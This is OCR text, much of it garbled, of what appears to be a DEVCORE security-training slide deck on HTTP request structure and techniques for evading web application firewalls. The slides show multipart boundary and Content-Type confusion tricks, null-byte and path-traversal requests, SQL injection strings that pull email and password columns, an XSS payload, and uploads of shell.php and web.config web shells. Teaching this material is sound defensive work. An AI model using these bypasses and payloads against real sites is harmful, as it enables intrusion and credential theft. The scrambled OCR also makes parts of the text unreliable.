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HTTP Request 101 ? DE\/CORE

Request Line

."P‘P
= S
iPOST /query HTTP/l 1H

Host: devco.re

User-Agent: Mozilla/5.0

Content-Type: application/x-www-form-
urlencoded

Content-Length: (auto)

id=1&class=member



HTTP Request 101 ?

Request Line ~ Headers

00
POST /query HTTP/1.1

R —_— —_— —_— -
—— ) _ —— —— = — ——

‘Host: devco.re
'User-Agent: Mozilla/5.0

—

urlencoded
|Content-TLength:

——— e —————

uto

id=1&class=member

Content-Type: application/x-www-form-

DE\/CORE



HTTP Request 101 ? DE\/CORE

Request Line » Headers ~ Empty Line

POST /query HTTP/1.1

Host: devco.re

User-Agent: Mozilla/5.0

Content-Type: application/x-www-form-
ur lencoded

Content-Length: (auto)

— ——

|
L—,'L = —. e ————— e ———— e —— =
ld=l1l&Class=member

— e ——— e




HTTP Request 101 ? DE\/CORE

Request Line ~ Headers » Empty Line - Message Body

POST /query HTTP/1.1

Host: devco.re

User-Agent: Mozilla/5.0

Content-Type: application/x-www-form-
urlencoded

Content-Length: (auto)
../

|id=lsclas

= |
—— e e ~ ———— e Z
— e e e _— a2 —

s=member |




POST HTTP/1.1
Host: devco.re
User-Agent: Mozilla/5.0

WebKitFormBoundarysNcHQhF5wOWC21Z5;
Content-Length: (auto)

—————— WebKitFormBoundarysNcHQhF5wOWC217Z5
Content-Disposition: form-data; name="1id";

—————— WebKitFormBoundarysNcHQhF5wOWC217Z5
Content-Disposition: form-data; name="class";

member
—————— WebKitFormBoundarysNcHQhF5wOWC21Z5--

DE\V/CORE o E%ﬁglﬁ mUItipart *gitﬂ{]%j@

CONSULTING



POST HTTP/1.1

Host: devco.re

User-Agent: Mozilla/5.0

Content-Type: multipart/form-data; boundary=x;
Content-Length: (auto)

--X
Content-Disposition: form-data; name="id";

1

——X
Content-Disposition: form-data; name="class';

boundary A LARGME

DEV/CORE %,
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http/s £ E3#! Bl
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WAF B2 716l DE\/CORE

° /Q:_{_LHB ?%E'ﬂ/‘kﬁ: POST HTTP/1.1

Host: devco.re

o ||.aSan H:IIE%E[WB%EEE?E-E% gzgtzgt:zzﬁzéhr:nu%;ilizit/form—data; boundary=x

Referer: http://devco.re/index.aspx

--X
Content-Disposition: form-data; name="file"

download.aspx
—— N ——



WAF B2 716l DE\/CORE

luTTP/1.1

o ||.aSan H:IIE%EWB%EEEQE-’;% gzgtiﬁt E}e/izthmu%’;ilizit/orm—data; bundary=x

Referer: http://devco. reL;ndex aSpX?

e i

--X
Content-Disposition: form-data; name="file"




WAF B2 716l DE\/CORE

o TE{ALJE R EX A R

Host: deVCO re S

o ||.aSan H:IIE%EWB%EEEQE-’;E gzgtiﬁt E}e/izthmu%’;ilizit/orm—data; undary=x

Referer: http://devco. reL;ndex.aprj

R e S

--X
Content-Disposition: form-data; name="file"




WAF BETE Bl eore

luTTP/1.1

o TE{ALJE R EX A R

o ".aSpX" ﬁi%&ﬂﬂﬁ%ﬁ%ﬂ;ﬁ gzgtzﬁt Ezﬁzthmu%;iizft/orm—data; undary=x

Referer: http://devco. reL;ndex.aprj

--X
Content-Disposition: form-data; name="file"
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o "aspx" HIREMEER A&

DE\/CORE

E’que

jHTTP/l.l

Host: devco.re

Content-Type: multipart/form-data; boundary=x
Content-Length: (auto)  _ R
Referer: http://devco. ret;ndex.aspxj

--X
Content-Disposition: form-data; name="file"
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WAF F&8 — & 8014 DE\/CORE

o FA#EF / RegEx 40 : /union.+select/1i

fE¥E : id='union select 1,2, 3#
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» FA#EF / RegEx
e Rate | imit fBlan - A8untE == H ixiwtE



WAF F&8 — & 8014 DE\/CORE

« FIHEF / RegEx
e Rate Limit

N/NPRI
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» FASETF / RegEx
* Rate Limit
K/

» IR



WAF F&8 — & 8014 DE\/CORE

» FASETF / RegEx
* Rate Limit
K/
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WAF T84 - REFE DEVCORE

o IYEH IP itk



WAF T84 - REFE DEVCORE

+ E8H IP fudik
CI=)=]
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2009 E ] 1

DEMO

MySQLj {3

74515

SQL Injection

1d=

l I

and 1=1#
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2009 £ 3] 1 DE\V/CORE

e

DEMO |MysaQL

18] 1SQL Injection

id=1'/*+/and/*+/1/++/=/ EAEF > RegEx PHIZHE TH



2009 ZE 5] 11

DEMO

P| |URL Encoding

XSS

content=<img src=1 error=alert()>

DE\/CORE



2009 ZE 5] 11

DEMO

P

P| |URL Encoding

XSS

content=%25%32%35%25%33
25%33%36%25%33%39%25%32

25%32%35

$33%33%25%363%35

%33%3:

DE\/CORE

FA#2=F - RegEx [H¥E At
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2009 £ 13 111 DE\V/CORE

DEMO |MysQL||i

l__l

|B% Header|{SQL Injection

Content-Type: application/x-www-form-
urlencoded;

id=1' and 1=1#



2009 £ 13 111 DE\V/CORE

DEMO |MysaL \TRg Header||SQL Injection bj
IS_POST
900 22,
Content-Type === "application/x-www-form-urlencoded"

Content-Type: applicati
urlencoded /;

WAF #5 Bl {457 Pe3

id=1' and 1=1#
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Eg—é— %:H _ MYSQL DE\/CORE

POST HTTP/1.1

Host: devco.re
Content-Type: application/x—www—form—urlencoded

Content-Length: (auto)

q=" union select *x from users —-
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VER AW « FHEFRSSMY DEV/CORE

POST HTTP/1.1

Host: devco.re

Content-Type: multipart/form—-data; boundary=x
Content-Length: (auto)

==
Content-Disposition: form—-data; name="file"; filename="shell.php"

DEVCORE
__X__



VER AW « FHEFRSSMY DEV/CORE

filename="shell.php"h

"




Shell. Php Shely
. Php
me'“shexx‘php
ame=
’fl—\—en chell.php $DATA
file
Namey.—

chell.pht =l 'S

ell'php

filename="=?utf8?b?c2h1wachhw?="



CDN WAF - ¥EE IP {ilit DE\/CORE

P :1.1.1.1 IP : 203.0.113.231
CDN / WAF Original Server
5 ae B
m ) \WWW _— | )
N4 ‘
User
=)
\L/

K\@/\ OSINT IP Address
‘ , (Tools : CloudFlair ~ cdn-scanner...)
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http/s StEpIR)  H RIS
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Chunk
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http/s StEpIR)  H RIS
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Chunk
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JEREN [ FmE L TR TEERA
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POST HTTP/1.1

Host: devco.re

Content-Type: multipart/form-data; boundary=x
Content-Length: (auto)

--X
Content-Disposition: form-data; name="path";

upload/
--X
Content-Disposition: form-data; name="file";

s101.pdf
__X__

DE\V/CORE &,



POST /download.php HTTP/1.1
' Host: devco.re
. Content-Type: multipart/form-data; boundary=x |
Content-Length: (auto)

(¥ 200 ok

e, ¢ '
Content-Disposition: form-data; name="path";

upload/ 4
Content-Disposition: form-data; name="file";

 s101.pdf 1
—_—X—— i‘

DEV/CORE %,



POST HTTP/1.1

boundary=x

--X
Content-Disposition: form-data; name="path";

Content-Disposition: form-data; name="file";

s101.pdf
__X__

DEV/CORE %,



POST HTTP/1.1

boundary=x

--X
Content-Disposition: form-data; name="path";

B R o~ EERRERI ./ Bl
./upload/ R A f -
—_ e v 200 ok

Content-Disposition: form-data; name="file";

s101.pdf
__X__

DEV/CORE %,



POST HTTP/1.1

boundary=x

——X
Content-Disposition: form-data; name="path"; /VEJ:% / B E]BRE
& LA InJA - -

imwd/ .

|

\(4/../-.’-. £ e ‘—\::\,_.\:
./ - = 2= \
{ N \§<:::-'? / . | ﬁ
N 4 [ |
[ ] \ A 4 A4

Content-Disposition: form-data; name="file";

s101.pdf
__X__

DEV/CORE %,



POST HTTP/1.1

boundary=x

--X
Content-Disposition: form-data; name="path";

. /upload/
--X
Content-Disposition: form-data; name="file";

sl01.pdf
# Boundary JMNEIINE R EREHET
v 200 ok

DEV/CORE %,



POST HTTP/1.1

boundary=x

——x% \0

Content-Disposition: form-data; name="path";
~# boundary mutation

./upload/../upload/
——X \0 e .
Content-Disposition:

s101.pdf
__X__

DEV/CORE %,



POST /download.php HTTP/1.1

boundary=x

——x \0

Eontent—Disposition:form—défa; name="path";

————— — _ e —

n19d-P —
——X \0 W

DEV/CORE %,



Success

ne B #o &

= ' boundary mutation

V' null byte
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LRG| (Z) DEV/CORE

e SQL Injection



POST HTTP/1.1
Host: devco.re

Content-Length: (auto

)

LVCORE

action=search&query=D:

DE\V/CORE &,

©) 200 ok B FfEEH

Content-Type: application/x-www-form-urlencoded



POST /action HTTP/1.1

VC

e oy

query

DE\V/CORE &,



POST HTTP/1.1

f A 500 Internal Server Error

Jquerysj

DEV/CORE %,



POST HTTP/1.1

DEV/CORE %,



POST HTTP/1.1

v 200 ok HIFIgE&E:]

query=D!

DEV/CORE %,



POST

v 200 ok HIFIgE&E:]

query=DE

Vulnerable

DEV/CORE %,



POST HTTP/1.1

query=DEVCORE' order by 1 --|

/5( 403 ¥ WAF [H3E

DEV/CORE %,



POST HTTP/1.1

o] (%) 403 ¥ WAF FBHE

DEV/CORE %,



POST HTTP/1.1

x 403 # WAF [H#E
WAl : /' .x(or|select|—..)/

DEV/CORE %,



POST HTTP/1.1

1 )( 403 % WAF FE

query=DEVCORE

DEV/CORE %,



POST HTTP/1.1

= | (V) 200 ok BiFfEzE:H

query=DEVCORE&XX ' &OrXX |

1l
e —— e

DEV/CORE %,



POST HTTP/1.1
Host: devco.re

Content-Type: application/x-www-form-urlencoded

Foo: xX'oOrxx

Content-Length: (auto

)

action=search&query=D:

DEV/CORE %,

L VCOR]I

L]

v)200 ok BIFiEEH



POST HTTP/1.1
Host: devco.re

Content-Type: multipart/form-data; boundary=x
Content-Length: (auto)

—=X
Content-Disposition: form-data; name="action”

search
--X
Content-Disposition: form-data; name="query"

v 200 ok HiFt&E#E:

DEV/CORE %,



POST HTTP/1.1

DEVCORE |

v 200 ok HIFt&EZE:f

DEV/CORE %,



e HTTP/1.1

7 hn ERag
X' 403 # WAF [g#%

DEVCORE or

DEV/CORE %,



POST HTTP/1.1

Content-Disposition: form-data; name="query”; filename="x.

— = e — e

DEveoRE or |

X 403 # WAF B

DEV/CORE %,



POST HTTP/1.1

7 & header ZE4}

Content-Disposition: form-data; name="queryﬂ:

DEVCORE X 403 # WAF [H3E

DEV/CORE %,



POST HTTP/1.1

boundary=x

--X
Content-Disposition: form-data; name="query"

7 Ei boundary P ELIF
X 403 # WAF [B#z

DEV/CORE %,



POST HTTP/1.1

boundary=x

-=-X
Content-Disposition: form-data; name="query’
|‘Content—Type: image/jpegw

DEVCORE 7 EfINIA Content-Type

— _X_ —

v 200 ok BIFiEZE:S

DEV/CORE %,



POST HTTP/1.1

boundary=x

—-=—X
Content—DiSpos _'I_l: _dta . name= " query 1

Content-Type: image/jpeg’or

DEVCORE #/ 1£ Content-Type Nl A=

]

. v [!1200 ok BIFEE

DEV/CORE %,



POST HTTP/1.1

——X
Content Dlsp051tlon-form5data- name="query"

L]

DEVCORI
—— N ——

V) [1] 200 ok B FiEELH

DE\V/CORE &,



POST HTTP/1.1

‘Content ~-Type: appllcatlon/x—www—form—urlencoded multlpart/w

,form —data; boundary=x

— — __

— E— _ ——— — _— e ———— —— = — _ [ - S - —_—

-=X
AContent DlSoOSlFlQn;formjgata- name="query"

Content Type°1mage/jpeg or“

v [!]1200 ok EEZ R

O
3
<
@
O
7y,
k=

DEV/CORE %,



POST HTTP/1.1

Content—Type:application7x—www—form—urleﬁcoded;multiggfg7j

form-data; boundary=x

7 WAF 2 A3 2 form header

x o
|

Content-Disposition: form-data; name="query"
Content-Type: i@age/jpeg&action=search&query=DEVCORE

DEVCORE
—— N ——

V) 200 ok HEREE

DE\V/CORE &,



POST HTTP/1.1

‘Content Type appllcatlon/x—www—form—urlencoded multlpargﬁw
L@orm data; boundary=x

V4 o LLJ - °
7 1&imzaAE query strings
-=X
Content-Disposition: form—data,*name— query" s
Content-Type: 1mage/jpeg&actlon search&query DEVCORE

O
3
<
@
O
7y,
k=

—-xe- ¥ 200 ok BEEHEH

DEV/CORE %,



POST HTTP/1.1

Content-Type: application/x-www-form-urlencoded; multipart/
form-data; boundary=x

7 1&imzaAE query strings

que

A 500 Internal Server Error

DEVCORE &t Lt 'or =lEEs



POST HTTP/1.1

Content-Type: application/x-www-form-urlencoded; multipart/
form-data; boundary=x

k

0

N,
=2\,
a

R5 2 query strings

i saction= search&query =DEVCORE unlonﬂ
M

select null, null, email, passwd from users --
' = = — __ __ ___ __ __ __ ___ _—  — _ _ _____ — — __— _ — _——— — __  — - = :

DE\V/CORE &,



Success

ne B #o &

SQL Injection / Content-Type confusion
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ER=E (=) DE\V/CORE

e EEEELE (web.config * ASPX Web Shell)



7 B LEREATTHIT aspx
o000

> type C:\inetpub\wwwroot\uploads\web.config

< accessPolicy="Read" />

DEV/CORE %,



‘HTTP/l.l

. POST

Host: devco.re
~ Content-Type: multipart/form-data; boundary=x; |
| Content-Length: (auto) |

-—X |
Content-Disposition: form-data; name="file"; filename="1l.txt"; |
Content-Type: text/plain |

DEVCORE
—— W —— |’

AJ & web GEEXE _LEAY 1.txt

DEV/CORE %,



fllename="web.conf1g";h
| ]

DEV/CORE %,



7 BERMBRFEEMRM > BIEM x

filename="Xweb.config "

r’\
(i R

X' 403 #% WAF a3

DEV/CORE %,



POST

4 gi Fﬁﬁ%ﬂﬂf‘ﬁmﬁ:  REIN X

X' 403 # WAF FE#

DEV/CORE %,



=

V4 gi%ﬁ%mﬁM#’¢ﬁM§%

’fllename— Xweb confng ﬂ

DEV/CORE %,



/ ?EP%%L%%EU&%I%E

Content-Disposition: form-data; name="file",i
Content-Type: text/plain

DEVCORE
— _X_ —

DEV/CORE %,



DEVCORE
—— W ——

DEV/CORE %,



POST HTTP/1.1

--X
Content-Disposition: form-data; name="file"; filename="XX";
Content-Type: text/plain

/ IPEAIE=FEETE Form content
x 403 # WAF [B#E

DEV/CORE %,



POST HTTP/1.1

-—X
Content-Disposition: form-data; name="file"; filename="XX";

Content-Type: text/plain

DEVCORE

7 IERAEFETE boundary JMHE
X' 403 # WAF fB#

DEV/CORE %,



POST HTTP/1.1

-—X
Content-Disposition: form-data; name="file"; filename="XX";

Content-Type: text/plain

DEVCORE
i

7 BIE boundary JMEIE LR
X 403 # WAF PEE

DEV/CORE %,



/" HEE B EE A

Content-Disposition: form-data; name="msg"
Content-Type: text/plain

v 200 ok
AEI=T i

DEV/CORE %,



POST HTTP/1.1 / J:I_iﬁﬂﬁl boundary

| boundary=x; boundary=y;7
L e e

e - S ——

X 403 # WAF PR

Content-Disposition: form-data; name="msg"
Content-Type: text/plain

DEV/CORE %,



POST HTTP/1.1 / }F_’,guﬁﬂ’]boundary E&}ﬁj(‘%

BOUNDARY =X;

x 403 %Ez WAF [B3i&

Content-Disposition: form-data; name="msg"
Content-Type: text/plain

DEV/CORE %,



w72/ 7 BHREN boundary R E

BOUNDARY y,‘

boundary X,

-—X
Content-Disposition: form-data; name="msg"

Content-Type: text/plain
EI=E il el

DEV/CORE %,



POST HTTP/1. 1 / ?I’.’.ﬁUEE’JEﬁZ)ﬂZﬁ%—y 1BHE/NE=x

BOUNDARY =Y

boundary x,u

A 500 Internal server error

d

-—X
Content-Disposition: form-data; name="msg"
Content-Type: text/plain

DEV/CORE %,



TR EE
EQTMRAE
TR R R ?

DEV/CORE %,



BOUNDARY=x, boundary=y

_—— WAF Backend
—_———— _ x403
B HEARE
BOUNDARY
boundary=x, BOUNDARY=y
- H N
BOUNDARY
R 200
s 51— {[2]
boundary

BOUNDARY=y, boundary=x
— ¥ g I:IIL.\E_?é E’]

A 500 boundary

— e Y ——

DEV/CORE %,



BOUNDARY=x, boundary=y
—_— WAF Backend

- % 403
- BEGONE
BOUNDARY

FRARE
BOUNDARY

s 5 — 118

boundary

mo B 12 1Y
boundary

DEV/CORE %,



WAF Backend

HERO AT
BOUNDARY

FRARE
BOUNDARY

s 5 — 118

boundary

BOUNDARY=y, boundary=x
——X oo B 122 I

A 500 boundary

— e Y ——

DEV/CORE %,



boundary=x,

——X

— Y ——

DE\/CORE

SECURITY
CONSULTING

BOUNDARY=y

v 200

WAF

Backend

HERO AT
BOUNDARY

YN
BOUNDARY

s 5 — 118

boundary

mo B 12 1Y
boundary




WAF Backend
AR X
BOUNDARY -
FBKE v
BOUNDARY
HER v
boundary
BB iy
boundary

DEV/CORE %,



BOUNDARY=y, boundary=x

- =X

—_X__

DE\V/CORE

SECURITY
CONSULTING

A 500

WAF Backend

BERRAHE X

BOUNDARY 4

ARDAED v x W
BOUNDARY N

5o o —{[2] v

boundary ,

o a8 Y v

boundary




WAF Backend

HERO AT
BOUNDARY

YN
BOUNDARY

mo 50— 12l

boundary

o B 12 1Y
boundary

DE\V/CORE &,



POST HTTP/1.1

=
{
i
|

I

‘ __X \
Content-Disposition: form-data; name="test" |
Content-Type: text/plain

- ‘v 200 ok

Content-Disposition: form-data; name="msg" |

Content-Type: text/plain

‘ ,

1 4 REL ;1
t
'

DE\V/CORE &,



7 1BWIEHIE =y WAF IZ/\E = x

POST HTTP/1.1

. —-=X
. Content-Disposition: form-data; name="test” }
.~ Content-Type: text/plain

|

l
|
-=Y |
Content-Disposition: form-data; name="msg" |
Content-Type: text/plain |

|

i

1 l AR EHL - 1
l

|
|

& 200 ok

/QWAFI]’ZX

DEV/CORE %,



POST HTTP/1.1

' BOUNDARY=y;

!

L ——x
.~ Content-Disposition: form-data; name="test" }
| Content-Type: text/plain

-

i

|
|

- WAF i —y EIR & Content T
7 WAF [z x

DEV/CORE %,
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